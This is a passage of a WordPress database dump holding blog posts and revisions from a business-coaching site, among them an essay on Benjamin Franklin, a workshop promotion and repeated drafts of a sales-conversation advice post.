deeper insight and guidance on your chosen tactics and  critical next steps. You"ll save some money on the six sessions and get a deeper level of value and feedback on your business strategies and tactics.\r\n<h2><span style="color: #ff6600;"><a href="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson.gif"><img class="alignleft size-medium wp-image-341" title="thomson dawson" src="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-300x208.gif" alt="" width="300" height="208" /></a>It''s my belief that there are no limits, there is an abundance of resources available for you to realize your vision. Possibility and potential are within you and surround you at all times. My life''s great work is to use all my creative talent and business development expertise to guide you closer to your own inner source of creative power – your own white hot center! Only from that place will you be able to sustain your passion and energy to pursue your big ideas and turn possibility into achievement.\r\n</span></h2>\r\n<h2><span style="color: #ff6600;"><span style="color: #ff0000;"><strong><a href="mailto:thomson@whitehotcenter.com" target="_blank">Email</a> <span style="color: #333333;">me to book your White Hot Power Session! Let''s rock on your ideas for business success!</span></strong></span>\r\n</span></h2>', 'Be inspired. Fire up a One-on-One Power Session!', 0, '', 'inherit', 'open', 'open', '', '200-revision-v1', '', '', '2013-08-04 12:37:32', '2013-08-04 19:37:32', '', 200, 'http://www.whitehotcenter.com/2013/08/200-revision-51/', 0, 'revision', '', 0),
(2436, 2, '2013-08-12 19:06:07', '2013-08-13 02:06:07', '<h1><img class="alignnone size-full wp-image-2437" title="Ben Franklin Major Dude" src="http://whc.fbdev.org/wp-content/uploads/2013/08/benfranklin.jpg" alt="" width="492" height="340" /> Long before there were personal development gurus lurking in every corner of the Internet, we had the timeless wisdom and example of Benjamin Franklin.</h1>\r\nGood ol Ben Franklin!  What a major dude that guy was! Unlike the other founders of our nation, Franklin was self-made.  He’s a remarkable example of the “enlightened entrepreneur” that we would all do well to study–especially in this hyper-connected digital, socially connected world we are currently living in.\r\n\r\nOl Ben’s approach to personal /professional development, innovation and service is a model we all might consider following. More so, if you are a creative entrepreneur or solo professional in the process of creating your next big thing!\r\n\r\nMy own appreciation of Ben Franklin as a mentor began early in my career when I was a struggling graphic designer. But not just for his writing, printing and publishing innovations, rather for his values and philosophy–which he masterfully embedded into his many astounding accomplishments as an entrepreneur. (His amazing feats as a statesman are a whole other discussion).\r\n\r\n<strong>The enlightened, creative entrepreneur.</strong>\r\n\r\nFor me, Ben Franklin is the epitome of the enlightened, creative entrepreneur.\r\n\r\nAlmost two centuries ago, the great economist and philosopher Joseph Schumpeter, in his <em>Theory of Economic Development, </em>dismissed material gain as a driving force motivating entrepreneurs. He suggests two motivations far more important than money:\r\n\r\n1)    Entrepreneurs love creating, making something out of nothing, exercising their unique talents and ingenuity\r\n\r\n2)    Entrepreneurs want to succeed for its own sake, not for the fruits of success, but the experience of accomplishment itself.\r\n<h2>Entrepreneurship, practiced by the likes of Ben Franklin, entails so much more than mere moneymaking. Ben practiced a philosophy of personal development rare in any age.</h2>\r\nFor Ben Franklin, the fruits of success (money-making) were the means, never the end. Most, if not all, of Franklin’s businesses (as well as his inventions) were designed for the good of his community, not for his personal profit. Franklin was purpose-driven! His version of 18<sup>th</sup> century enlightened entrepreneurship was way ahead of his time–and so desperately needed in our capitalist-consumer-driven culture today.\r\n\r\n<strong>Virture, character and service. </strong>\r\n\r\nHere’s another good idea on serving customers from ol Ben himself written in his autobiography:\r\n<h3><em>“Knowledge is not for the personal property of its discoverer, but the common property of all. As we enjoy great advantages from the inventions of others, we should be glad of an opportunity to serve others by any invention of our own, and this we should do freely and generously”</em></h3>\r\nTell that to Apple and Samsung fighting over their patents to control markets.\r\n\r\nFranklin is not suggesting innovation be free of charge. Heavens no! Franklin’s businesses were rolling in dough! That’s why he retired in his early forties. The big idea here says that serving others creates prosperity for all. This is why he had so much impact and influence in the world and will be forever remembered for his virtue, character and service.\r\n\r\n<strong>Ben Franklin’s simple and elegant formula for success.</strong>\r\n\r\nAnd finally, here’s the simple and elegant formula for personal growth and effectiveness that Franklin employed as a primary discipline throughout his entire life.\r\n\r\nFranklin began every day with the “Morning Question”.\r\n\r\n“What good shall I do this day?”\r\n\r\nHe ended every day with the “Evening Question”.\r\n\r\n“What good have I done today”?\r\n\r\nIf you want a better future with more impact, influence and income, I can’t think of a better habit to form. There’s a reason they put ol Ben’s kisser on a C-note. And for all of you in my little Ojai coffee shop who wonder what I’m writing in my journal everyday, now you know.', 'The Benjamin Franklin Model for Personal Effectiveness.', 0, '', 'publish', 'open', 'open', '', 'the-benjamin-franklin-model-for-personal-effectiveness', '', '', '2013-08-13 09:27:29', '2013-08-13 16:27:29', '', 0, 'http://www.whitehotcenter.com/?p=2436', 0, 'post', '', 3),
(2386, 2, '2013-08-04 15:21:37', '2013-08-04 22:21:37', '', 'Quantum Leap Workshop', 0, '', 'inherit', 'open', 'open', '', 'unconference-3', '', '', '2013-08-04 15:21:37', '2013-08-04 22:21:37', '', 145, 'http://www.whitehotcenter.com/wp-content/uploads/2009/04/unconference1.jpg', 0, 'attachment', 'image/jpeg', 0),
(2387, 2, '2013-05-23 08:34:18', '2013-05-23 15:34:18', '<h2><strong>White Hot Center Presents:\r\nThe Quantum Leap\r\nBusiness Transformation Workshop</strong><strong><span style="color: #dd9703;">\r\nStrategies for Creating Competitive</span>\r\n<span style="color: #dd9703;"> Advantage for Early-Stage Entrepreneurs\r\n<span style="color: #000000;">November 8th, 2013</span></span>\r\nOjai, California\r\n</strong></h2>\r\n<strong>Facilitated by\r\nThomson Dawson\r\nBusiness Transformation Consultant to Creative Entrepreneuers\r\n</strong>\r\n\r\n<img class="alignnone size-full wp-image-1965" title="WHC-Quantum" src="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Quantum.jpg" alt="" width="490" height="363" />\r\n\r\n<iframe src="http://www.youtube.com/embed/ZhBhjF7ocW0" frameborder="0" width="490" height="249"></iframe>\r\n<h2>A one-day intensive business transformation workshop designed to guide early stage creative entrepreneurs and solo professionals who want to build a solid foundation for brand marketing, business development and sales success at the early stage of their business. Watch the video to learn more about what we''ll cover in the workshop.</h2>\r\n<h1><span style="color: #808080;">\r\nWithout sales there is no business</span><span style="color: #808080;"><strong>!</strong></span></h1>\r\n&nbsp;\r\n\r\nIf you’re an early stage entrepreneur or self-employed creative professional, you know the importance of having a steady stream of clients and customers coming your way. The truth is many early-stage entrepreneurs struggle finding a steady stream of higher value clients. Many more resist the marketing and sales process altogether opting to rely only on referrals for new business.\r\n\r\nReferrals are critically important, but they’re unpredictable– not enough to grow your business with sustainable, profitable results. To succeed in the hyper-competitive marketplace today, you must embrace business development and sales as <strong>the essential</strong> <strong>skill</strong> for your business success. And you need <strong>a plan to guide your actions</strong>, if you are to turn greater possibilities into achievement.\r\n\r\n<strong>Clients have abundant choice.\r\n</strong>Let’s face it, when clients have abundant choice, competition is always fierce. How do you gain radical advantage over would-be competitors in an ultra-competitive marketplace?\r\n\r\nHow do you find the right clients who are a perfect fit for you? How do you differentiate your business from alternatives to your firm in ways that matter to your clients? How do you command premium prices and greater profit margins when your competitors are discounting their price to win business?\r\n\r\nHow do you create more opportunity than you have capacity so you can be choosy about who you work with, and what you type of projects you’ll work on?\r\n\r\nIf you’re serious about the growth and success of your creative business, you will not want to miss attending this strategic business development workshop designed and facilitated by <a href="http://whc.fbdev.org/contact/" target="_blank">Thomson Dawson, Business Transformation Consultant to Creative Entrepreneurs.</a>\r\n<h2><strong></strong> Spend one important day working on your business rather than in it. Spend one day building a solid framework and foundation for your business development and sales success. Spend one day innovating your bigger, better future.</h2>\r\n<strong>Who should attend?</strong>\r\nWe’ve developed this transformational business development workshop for all early-stage creative entreprenuers who seek insight, guidance and creativity to take their business to the next level.\r\n\r\n<strong>Investment:</strong>\r\n$995.00 USD per person\r\nSpecial discount of $100 off for early registration prior to September 30, 2013\r\nAdditional discount of $50 off for each additional person in your firm prior to September 30, 2013.\r\n\r\nTuition fee must be paid 30 days in advance of the Workshop. No refunds or credits within 14 days of the workshop.\r\n\r\nTuition includes Workshop Materials, Luncheon, and Snacks served throughout the day at the venue.\r\n\r\n<strong>This workshop is limited to 24 participants.</strong>\r\n<h1><span style="color: #888888;">Early Registration\r\n</span></h1>\r\nSend an <strong><a href="mailto://thomson@whitehotcenter.com" target="_blank">email</a></strong> and we’ll get right back to you with the full information on the venue location, accomodations, and how confirm your spot in early registration prior to September 30, 2013. This workshop has limited capacity and will fill up quickly.\r\n<strong>Register Now and Save!</strong>', 'Hot Info to Grow On!', 0, '', 'inherit', 'open', 'open', '', '145-revision-v1', '', '', '2013-05-23 08:34:18', '2013-05-23 15:34:18', '', 145, 'http://www.whitehotcenter.com/2013/05/145-revision-137/', 0, 'revision', '', 0),
(2389, 2, '2013-08-06 19:38:31', '2013-08-07 02:38:31', '<strong><img class="alignnone size-full wp-image-2390" title="influence in sales conversation" src="http://whc.fbdev.org/wp-content/uploads/2013/08/give-advice.jpg" alt="" width="495" height="399" /></strong>\r\n<h1> When you get that big moment to have your first conversation with a prospective client you’ve been working on for months, remember to be influential with customers, it’s about service not selling!</h1>\r\nMany early stage entrepreneurs and solo professionals work very hard at prospecting and focusing their business development activities on opportunities to serve higher value clients/customers. It can be tempting, after so much persistent advance work, to start the first sales conversation sharing what it is you do, make or provide–selling them on your offer!\r\n\r\nNothing will diminish the clients perceived value of your presence faster!\r\n\r\nChances are, customers can buy your products and services from anybody. Your first sales conversation should never be about your services (that’s what your web site is for). What your client desires from that first conversation will have nothing at all to do with you and your products.\r\n<h2>You must serve the client-to-be with value to them first BEFORE they will go to the next step with you. What is that value? It’s your expert perspective!</h2>\r\nYou must be prepared to improve their condition, connecting with their need, acknowledging and appreciating their current emotional state – expressed through your expert perspective. In the first sales conversation, customers desire a useful perspective (larger than their own) that gives them the clarity and confidence to make their best decision to improve their own condition.\r\n\r\nIn other words, higher value clients are looking for “guidance and advice” – not a demo or capabilities pitch!\r\n\r\nHow you offer advice to your early stage buyer will determine if they want to go deeper in the sales process with you. Here are five keys to offering advice and guidance that will enable you to create more influence in the conversation and trust with your client-to-be – right then and there in your first conversation!<strong></strong>\r\n\r\n<strong>1) Be Present.</strong>\r\nYou better have all your darn self right there present in the moment– open, prepared, relaxed, confident–completely focused on just being there to serve. Then listen!\r\n\r\n<strong>2) Acknowledge the client’s current condition.</strong>\r\nThe person across from you is busy, probably with lots of responsibility, stressed, over worked, and stretched thin and reluctant to buy anything–least of all from you as yet unproven in their eyes. They are in an emotional state of NEED. Listen to the client tell you what they really desire and value. Appreciate their current reality and acknowledge it with empathy.\r\n\r\n<strong>3) Ask questions that help the client gain more clarity and understanding of their own problem.</strong>\r\nAll people who give advice that matters are good attentive listeners, and then they ask powerfully relevant questions that clarify the issue.  Advice givers are prepared to help the client know what they don’t know. You will not go further in sales process if the client-to-be doesn’t come away from that first conversation having more understanding and clarity about their own problem or issue at hand. Your intelligent, well informed questions will help them get there.\r\n\r\n<strong>4) Offer the prospective client what they really want – a bigger perspective!</strong>\r\nYou can only give credible advice when you’re perceived as an expert at improving the client’s condition (however defined by employing idea 2 above). Experts have a perspective that can help the client make better more informed decisions (like buying from you as opposed to somebody else). You provide a bigger view of what’s possible through your well informed, expert perspective.\r\n\r\n<strong> 5) When asked, “what would you do” – you tell ‘em!</strong>\r\nYour prospective customer asks what you would do from your perspective. It’s a fair question all advice givers who matter get asked. The catch is the customer doesn’t really want to know what you would do. Heavens no! They want to know what they will do! The client wants to feel confident and avoid risk. If you don’t offer your advice to them with all your passion, enthusiasm and confidence, they won’t be feeling that way about you and your advice. Provide your advice in a manner that instills more confidence in the customer’s actions. Remember it’s never about you.\r\n\r\n<em><strong>Special note: If you want to learn more about these business transformation principles,  consider attending our <a title="Quantum Leap Workshop Registration" href="http://whc.fbdev.org/hot-info/" target="_blank">Quantum Leap Business Transformation Workshop </a>on November 8, 2013, in beautiful Ojai, California!\r\n</strong></em>\r\n\r\n&nbsp;', 'Five keys to be more influential in your sales conversations.', 0, '', 'publish', 'open', 'open', '', 'five-keys-to-be-more-influential-in-your-sales-conversations', '', '', '2013-08-06 19:38:31', '2013-08-07 02:38:31', '', 0, 'http://www.whitehotcenter.com/?p=2389', 0, 'post', '', 1),
(2390, 2, '2013-08-06 19:14:13', '2013-08-07 02:14:13', '', 'influence in sales conversation', 0, '', 'inherit', 'open', 'open', '', 'give-advice', '', '', '2013-08-06 19:14:13', '2013-08-07 02:14:13', '', 2389, 'http://www.whitehotcenter.com/wp-content/uploads/2013/08/give-advice.jpg', 0, 'attachment', 'image/jpeg', 0),
(2391, 2, '2013-08-06 19:17:47', '2013-08-07 02:17:47', '<strong><img class="alignnone size-full wp-image-2390" title="influence in sales conversation" src="http://whc.fbdev.org/wp-content/uploads/2013/08/give-advice.jpg" alt="" width="495" height="399" /></strong>\n<h1> When you get that big moment to have your first conversation with a prospective client you’ve been working on for months, remember to be influential with customers, it’s about service not selling!</h1>\nMany early stage entrepreneurs and solo professionals work very hard at prospecting and focusing their energies on opportunities to serve higher value clients/customers. It can be tempting, after so much persistent advance work, to start the first sales conversation sharing what it is you do, make or provide–selling them on your offer!\n\nNothing will diminish the clients perceived value of your presence faster!\n\nChances are, customers can buy your products and services from anybody. Your first sales conversation should never be about your services (that’s what your web site is for). What your client desires from that first conversation will have nothing at all to do with you and your products.\n<h2>You must serve the client-to-be with value to them first BEFORE they will go to the next step with you. What is that value? It’s your expert perspective!</h2>\nYou must be prepared to improve their condition, connecting with their need, acknowledging and appreciating their current emotional state – expressed through your expert perspective. In the first sales conversation, customers desire a useful perspective (larger than their own) that gives them the clarity and confidence to make their best decision to improve their own condition.\n\nIn other words, higher value clients are looking for “guidance and advice” – not a demo or capabilities pitch!\n\nHow you offer advice to your early stage buyer will determine if they want to go deeper in the sales process with you. Here are five keys to offering advice and guidance that will enable you to create more influence in the conversation and trust with your client-to-be – right then and there in your first conversation!<strong></strong>\n\n<strong>1) Be Present.</strong>\nYou better have all your darn self right there present in the moment– open, prepared, relaxed, confident–completely focused on just being there to serve. Then listen!\n\n<strong>2) Acknowledge the client’s current condition.</strong>\nThe person across from you is busy, probably with lots of responsibility, stressed, over worked, and stretched thin and reluctant to buy anything–least of all from you as yet unproven in their eyes. They are in an emotional state of NEED. Listen to the client tell you what they really desire and value. Appreciate their current reality and acknowledge it with empathy.\n\n<strong>3) Ask questions that help the client gain more clarity and understanding of their own problem.</strong>\nAll people who give advice that matters are good attentive listeners, and then they ask powerfully relevant questions that clarify the issue.  Advice givers are prepared to help the client know what they don’t know. You will not go further in sales process if the client-to-be doesn’t come away from that first conversation having more understanding and clarity about their own problem or issue at hand. Your intelligent, well informed questions will help them get there.\n\n<strong>4) Offer the prospective client what they really want – a bigger perspective!</strong>\nYou can only give credible advice when you’re perceived as an expert at improving the client’s condition (however defined by employing idea 2 above). Experts have a perspective that can help the client make better more informed decisions (like buying from you as opposed to somebody else). You provide a bigger view of what’s possible through your well informed, expert perspective.\n\n<strong> 5) When asked, “what would you do” – you tell ‘em!</strong>\nYour prospective customer asks what you would do from your perspective. It’s fair question all advice givers who matter get asked. The catch is the customer doesn’t really want to know what you would do. Heavens no! They want to know what they will do! The client wants to feel confident and avoid risk. If you don’t offer your advice to them with all your passion, enthusiasm and confidence, they won’t be feeling that way about you and your advice. Provide your advice in a manner that instills more confidence in the customer’s actions. Remember it’s never about you.\n\n&nbsp;\n\nSpecial note: If you want to learn more about these business transformation principles,  consider attending our Quantum Leap Business Transformation Workshop on November 8, 2013.\n\n&nbsp;', 'Five keys to be more influential in your sales conversations', 0, '', 'inherit', 'open', 'open', '', '2389-revision', '', '', '2013-08-06 19:17:47', '2013-08-07 02:17:47', '', 2389, 'http://www.whitehotcenter.com/2013/08/2389-revision/', 0, 'revision', '', 0);
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(2392, 2, '2013-08-06 19:18:01', '2013-08-07 02:18:01', '<strong><img class="alignnone size-full wp-image-2390" title="influence in sales conversation" src="http://whc.fbdev.org/wp-content/uploads/2013/08/give-advice.jpg" alt="" width="495" height="399" /></strong>\r\n<h1> When you get that big moment to have your first conversation with a prospective client you’ve been working on for months, remember to be influential with customers, it’s about service not selling!</h1>\r\nMany early stage entrepreneurs and solo professionals work very hard at prospecting and focusing their energies on opportunities to serve higher value clients/customers. It can be tempting, after so much persistent advance work, to start the first sales conversation sharing what it is you do, make or provide–selling them on your offer!\r\n\r\nNothing will diminish the clients perceived value of your presence faster!\r\n\r\nChances are, customers can buy your products and services from anybody. Your first sales conversation should never be about your services (that’s what your web site is for). What your client desires from that first conversation will have nothing at all to do with you and your products.\r\n<h2>You must serve the client-to-be with value to them first BEFORE they will go to the next step with you. What is that value? It’s your expert perspective!</h2>\r\nYou must be prepared to improve their condition, connecting with their need, acknowledging and appreciating their current emotional state – expressed through your expert perspective. In the first sales conversation, customers desire a useful perspective (larger than their own) that gives them the clarity and confidence to make their best decision to improve their own condition.\r\n\r\nIn other words, higher value clients are looking for “guidance and advice” – not a demo or capabilities pitch!\r\n\r\nHow you offer advice to your early stage buyer will determine if they want to go deeper in the sales process with you. Here are five keys to offering advice and guidance that will enable you to create more influence in the conversation and trust with your client-to-be – right then and there in your first conversation!<strong></strong>\r\n\r\n<strong>1) Be Present.</strong>\r\nYou better have all your darn self right there present in the moment– open, prepared, relaxed, confident–completely focused on just being there to serve. Then listen!\r\n\r\n<strong>2) Acknowledge the client’s current condition.</strong>\r\nThe person across from you is busy, probably with lots of responsibility, stressed, over worked, and stretched thin and reluctant to buy anything–least of all from you as yet unproven in their eyes. They are in an emotional state of NEED. Listen to the client tell you what they really desire and value. Appreciate their current reality and acknowledge it with empathy.\r\n\r\n<strong>3) Ask questions that help the client gain more clarity and understanding of their own problem.</strong>\r\nAll people who give advice that matters are good attentive listeners, and then they ask powerfully relevant questions that clarify the issue.  Advice givers are prepared to help the client know what they don’t know. You will not go further in sales process if the client-to-be doesn’t come away from that first conversation having more understanding and clarity about their own problem or issue at hand. Your intelligent, well informed questions will help them get there.\r\n\r\n<strong>4) Offer the prospective client what they really want – a bigger perspective!</strong>\r\nYou can only give credible advice when you’re perceived as an expert at improving the client’s condition (however defined by employing idea 2 above). Experts have a perspective that can help the client make better more informed decisions (like buying from you as opposed to somebody else). You provide a bigger view of what’s possible through your well informed, expert perspective.\r\n\r\n<strong> 5) When asked, “what would you do” – you tell ‘em!</strong>\r\nYour prospective customer asks what you would do from your perspective. It’s fair question all advice givers who matter get asked. The catch is the customer doesn’t really want to know what you would do. Heavens no! They want to know what they will do! The client wants to feel confident and avoid risk. If you don’t offer your advice to them with all your passion, enthusiasm and confidence, they won’t be feeling that way about you and your advice. Provide your advice in a manner that instills more confidence in the customer’s actions. Remember it’s never about you.\r\n\r\n&nbsp;\r\n\r\n<em><strong>Special note: If you want to learn more about these business transformation principles,  consider attending our Quantum Leap Business Transformation Workshop on November 8, 2013.</strong></em>\r\n\r\n&nbsp;', 'Five keys to be more influential in your sales conversations', 0, '', 'inherit', 'open', 'open', '', '2389-revision-2', '', '', '2013-08-06 19:18:01', '2013-08-07 02:18:01', '', 2389, 'http://www.whitehotcenter.com/2013/08/2389-revision-2/', 0, 'revision', '', 0),
(2393, 2, '2013-08-06 19:18:16', '2013-08-07 02:18:16', '<strong><img class="alignnone size-full wp-image-2390" title="influence in sales conversation" src="http://whc.fbdev.org/wp-content/uploads/2013/08/give-advice.jpg" alt="" width="495" height="399" /></strong>\r\n<h1> When you get that big moment to have your first conversation with a prospective client you’ve been working on for months, remember to be influential with customers, it’s about service not selling!</h1>\r\nMany early stage entrepreneurs and solo professionals work very hard at prospecting and focusing their energies on opportunities to serve higher value clients/customers. It can be tempting, after so much persistent advance work, to start the first sales conversation sharing what it is you do, make or provide–selling them on your offer!\r\n\r\nNothing will diminish the clients perceived value of your presence faster!\r\n\r\nChances are, customers can buy your products and services from anybody. Your first sales conversation should never be about your services (that’s what your web site is for). What your client desires from that first conversation will have nothing at all to do with you and your products.\r\n<h2>You must serve the client-to-be with value to them first BEFORE they will go to the next step with you. What is that value? It’s your expert perspective!</h2>\r\nYou must be prepared to improve their condition, connecting with their need, acknowledging and appreciating their current emotional state – expressed through your expert perspective. In the first sales conversation, customers desire a useful perspective (larger than their own) that gives them the clarity and confidence to make their best decision to improve their own condition.\r\n\r\nIn other words, higher value clients are looking for “guidance and advice” – not a demo or capabilities pitch!\r\n\r\nHow you offer advice to your early stage buyer will determine if they want to go deeper in the sales process with you. Here are five keys to offering advice and guidance that will enable you to create more influence in the conversation and trust with your client-to-be – right then and there in your first conversation!<strong></strong>\r\n\r\n<strong>1) Be Present.</strong>\r\nYou better have all your darn self right there present in the moment– open, prepared, relaxed, confident–completely focused on just being there to serve. Then listen!\r\n\r\n<strong>2) Acknowledge the client’s current condition.</strong>\r\nThe person across from you is busy, probably with lots of responsibility, stressed, over worked, and stretched thin and reluctant to buy anything–least of all from you as yet unproven in their eyes. They are in an emotional state of NEED. Listen to the client tell you what they really desire and value. Appreciate their current reality and acknowledge it with empathy.\r\n\r\n<strong>3) Ask questions that help the client gain more clarity and understanding of their own problem.</strong>\r\nAll people who give advice that matters are good attentive listeners, and then they ask powerfully relevant questions that clarify the issue.  Advice givers are prepared to help the client know what they don’t know. You will not go further in sales process if the client-to-be doesn’t come away from that first conversation having more understanding and clarity about their own problem or issue at hand. Your intelligent, well informed questions will help them get there.\r\n\r\n<strong>4) Offer the prospective client what they really want – a bigger perspective!</strong>\r\nYou can only give credible advice when you’re perceived as an expert at improving the client’s condition (however defined by employing idea 2 above). Experts have a perspective that can help the client make better more informed decisions (like buying from you as opposed to somebody else). You provide a bigger view of what’s possible through your well informed, expert perspective.\r\n\r\n<strong> 5) When asked, “what would you do” – you tell ‘em!</strong>\r\nYour prospective customer asks what you would do from your perspective. It’s fair question all advice givers who matter get asked. The catch is the customer doesn’t really want to know what you would do. Heavens no! They want to know what they will do! The client wants to feel confident and avoid risk. If you don’t offer your advice to them with all your passion, enthusiasm and confidence, they won’t be feeling that way about you and your advice. Provide your advice in a manner that instills more confidence in the customer’s actions. Remember it’s never about you.\r\n\r\n&nbsp;\r\n\r\n<em><strong>Special note: If you want to learn more about these business transformation principles,  consider attending our Quantum Leap Business Transformation Workshop on November 8, 2013.</strong></em>\r\n\r\n&nbsp;', 'Five keys to be more influential in your sales conversations', 0, '', 'inherit', 'open', 'open', '', '2389-revision-3', '', '', '2013-08-06 19:18:16', '2013-08-07 02:18:16', '', 2389, 'http://www.whitehotcenter.com/2013/08/2389-revision-3/', 0, 'revision', '', 0),
(2394, 2, '2013-08-06 19:19:59', '2013-08-07 02:19:59', '<strong><img class="alignnone size-full wp-image-2390" title="influence in sales conversation" src="http://whc.fbdev.org/wp-content/uploads/2013/08/give-advice.jpg" alt="" width="495" height="399" /></strong>\r\n<h1> When you get that big moment to have your first conversation with a prospective client you’ve been working on for months, remember to be influential with customers, it’s about service not selling!</h1>\r\nMany early stage entrepreneurs and solo professionals work very hard at prospecting and focusing their energies on opportunities to serve higher value clients/customers. It can be tempting, after so much persistent advance work, to start the first sales conversation sharing what it is you do, make or provide–selling them on your offer!\r\n\r\nNothing will diminish the clients perceived value of your presence faster!\r\n\r\nChances are, customers can buy your products and services from anybody. Your first sales conversation should never be about your services (that’s what your web site is for). What your client desires from that first conversation will have nothing at all to do with you and your products.\r\n<h2>You must serve the client-to-be with value to them first BEFORE they will go to the next step with you. What is that value? It’s your expert perspective!</h2>\r\nYou must be prepared to improve their condition, connecting with their need, acknowledging and appreciating their current emotional state – expressed through your expert perspective. In the first sales conversation, customers desire a useful perspective (larger than their own) that gives them the clarity and confidence to make their best decision to improve their own condition.\r\n\r\nIn other words, higher value clients are looking for “guidance and advice” – not a demo or capabilities pitch!\r\n\r\nHow you offer advice to your early stage buyer will determine if they want to go deeper in the sales process with you. Here are five keys to offering advice and guidance that will enable you to create more influence in the conversation and trust with your client-to-be – right then and there in your first conversation!<strong></strong>\r\n\r\n<strong>1) Be Present.</strong>\r\nYou better have all your darn self right there present in the moment– open, prepared, relaxed, confident–completely focused on just being there to serve. Then listen!\r\n\r\n<strong>2) Acknowledge the client’s current condition.</strong>\r\nThe person across from you is busy, probably with lots of responsibility, stressed, over worked, and stretched thin and reluctant to buy anything–least of all from you as yet unproven in their eyes. They are in an emotional state of NEED. Listen to the client tell you what they really desire and value. Appreciate their current reality and acknowledge it with empathy.\r\n\r\n<strong>3) Ask questions that help the client gain more clarity and understanding of their own problem.</strong>\r\nAll people who give advice that matters are good attentive listeners, and then they ask powerfully relevant questions that clarify the issue.  Advice givers are prepared to help the client know what they don’t know. You will not go further in sales process if the client-to-be doesn’t come away from that first conversation having more understanding and clarity about their own problem or issue at hand. Your intelligent, well informed questions will help them get there.\r\n\r\n<strong>4) Offer the prospective client what they really want – a bigger perspective!</strong>\r\nYou can only give credible advice when you’re perceived as an expert at improving the client’s condition (however defined by employing idea 2 above). Experts have a perspective that can help the client make better more informed decisions (like buying from you as opposed to somebody else). You provide a bigger view of what’s possible through your well informed, expert perspective.\r\n\r\n<strong> 5) When asked, “what would you do” – you tell ‘em!</strong>\r\nYour prospective customer asks what you would do from your perspective. It’s fair question all advice givers who matter get asked. The catch is the customer doesn’t really want to know what you would do. Heavens no! They want to know what they will do! The client wants to feel confident and avoid risk. If you don’t offer your advice to them with all your passion, enthusiasm and confidence, they won’t be feeling that way about you and your advice. Provide your advice in a manner that instills more confidence in the customer’s actions. Remember it’s never about you.\r\n\r\n&nbsp;\r\n\r\n<em><strong>Special note: If you want to learn more about these business transformation principles,  consider attending our <a title="Quantum Leap Workshop Registration" href="http://whc.fbdev.org/hot-info/" target="_blank">Quantum Leap Business Transformation Workshop </a>on November 8, 2013.</strong></em>\r\n\r\n&nbsp;', 'Five keys to be more influential in your sales conversations', 0, '', 'inherit', 'open', 'open', '', '2389-revision-4', '', '', '2013-08-06 19:19:59', '2013-08-07 02:19:59', '', 2389, 'http://www.whitehotcenter.com/2013/08/2389-revision-4/', 0, 'revision', '', 0),
(2395, 2, '2013-08-06 19:20:07', '2013-08-07 02:20:07', '<strong><img class="alignnone size-full wp-image-2390" title="influence in sales conversation" src="http://whc.fbdev.org/wp-content/uploads/2013/08/give-advice.jpg" alt="" width="495" height="399" /></strong>\r\n<h1> When you get that big moment to have your first conversation with a prospective client you’ve been working on for months, remember to be influential with customers, it’s about service not selling!</h1>\r\nMany early stage entrepreneurs and solo professionals work very hard at prospecting and focusing their energies on opportunities to serve higher value clients/customers. It can be tempting, after so much persistent advance work, to start the first sales conversation sharing what it is you do, make or provide–selling them on your offer!\r\n\r\nNothing will diminish the clients perceived value of your presence faster!\r\n\r\nChances are, customers can buy your products and services from anybody. Your first sales conversation should never be about your services (that’s what your web site is for). What your client desires from that first conversation will have nothing at all to do with you and your products.\r\n<h2>You must serve the client-to-be with value to them first BEFORE they will go to the next step with you. What is that value? It’s your expert perspective!</h2>\r\nYou must be prepared to improve their condition, connecting with their need, acknowledging and appreciating their current emotional state – expressed through your expert perspective. In the first sales conversation, customers desire a useful perspective (larger than their own) that gives them the clarity and confidence to make their best decision to improve their own condition.\r\n\r\nIn other words, higher value clients are looking for “guidance and advice” – not a demo or capabilities pitch!\r\n\r\nHow you offer advice to your early stage buyer will determine if they want to go deeper in the sales process with you. Here are five keys to offering advice and guidance that will enable you to create more influence in the conversation and trust with your client-to-be – right then and there in your first conversation!<strong></strong>\r\n\r\n<strong>1) Be Present.</strong>\r\nYou better have all your darn self right there present in the moment– open, prepared, relaxed, confident–completely focused on just being there to serve. Then listen!\r\n\r\n<strong>2) Acknowledge the client’s current condition.</strong>\r\nThe person across from you is busy, probably with lots of responsibility, stressed, over worked, and stretched thin and reluctant to buy anything–least of all from you as yet unproven in their eyes. They are in an emotional state of NEED. Listen to the client tell you what they really desire and value. Appreciate their current reality and acknowledge it with empathy.\r\n\r\n<strong>3) Ask questions that help the client gain more clarity and understanding of their own problem.</strong>\r\nAll people who give advice that matters are good attentive listeners, and then they ask powerfully relevant questions that clarify the issue.  Advice givers are prepared to help the client know what they don’t know. You will not go further in sales process if the client-to-be doesn’t come away from that first conversation having more understanding and clarity about their own problem or issue at hand. Your intelligent, well informed questions will help them get there.\r\n\r\n<strong>4) Offer the prospective client what they really want – a bigger perspective!</strong>\r\nYou can only give credible advice when you’re perceived as an expert at improving the client’s condition (however defined by employing idea 2 above). Experts have a perspective that can help the client make better more informed decisions (like buying from you as opposed to somebody else). You provide a bigger view of what’s possible through your well informed, expert perspective.\r\n\r\n<strong> 5) When asked, “what would you do” – you tell ‘em!</strong>\r\nYour prospective customer asks what you would do from your perspective. It’s fair question all advice givers who matter get asked. The catch is the customer doesn’t really want to know what you would do. Heavens no! They want to know what they will do! The client wants to feel confident and avoid risk. If you don’t offer your advice to them with all your passion, enthusiasm and confidence, they won’t be feeling that way about you and your advice. Provide your advice in a manner that instills more confidence in the customer’s actions. Remember it’s never about you.\r\n\r\n&nbsp;\r\n\r\n<em><strong>Special note: If you want to learn more about these business transformation principles,  consider attending our <a title="Quantum Leap Workshop Registration" href="http://whc.fbdev.org/hot-info/" target="_blank">Quantum Leap Business Transformation Workshop </a>on November 8, 2013.</strong></em>\r\n\r\n&nbsp;', 'Five keys to be more influential in your sales conversations', 0, '', 'inherit', 'open', 'open', '', '2389-revision-5', '', '', '2013-08-06 19:20:07', '2013-08-07 02:20:07', '', 2389, 'http://www.whitehotcenter.com/2013/08/2389-revision-5/', 0, 'revision', '', 0),
